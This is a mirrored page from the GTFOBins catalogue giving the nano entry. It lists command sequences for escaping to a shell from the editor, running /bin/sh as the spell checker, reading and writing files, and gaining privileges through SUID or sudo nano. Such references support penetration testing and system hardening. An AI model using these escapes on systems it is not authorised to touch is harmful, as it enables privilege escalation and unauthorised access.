1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-06-04 13:36:01 +02:00
GTFOBins.github.io/_gtfobins/nano.md
2021-01-10 18:16:30 +01:00

709 B

functions
shell file-write file-read limited-suid sudo
code
nano ^R^X reset; sh 1>&0 2>&0
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. nano -s /bin/sh /bin/sh ^T
code
nano file_to_write DATA ^O
code
nano file_to_read
description code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. ./nano -s /bin/sh /bin/sh ^T
code
sudo nano ^R^X reset; sh 1>&0 2>&0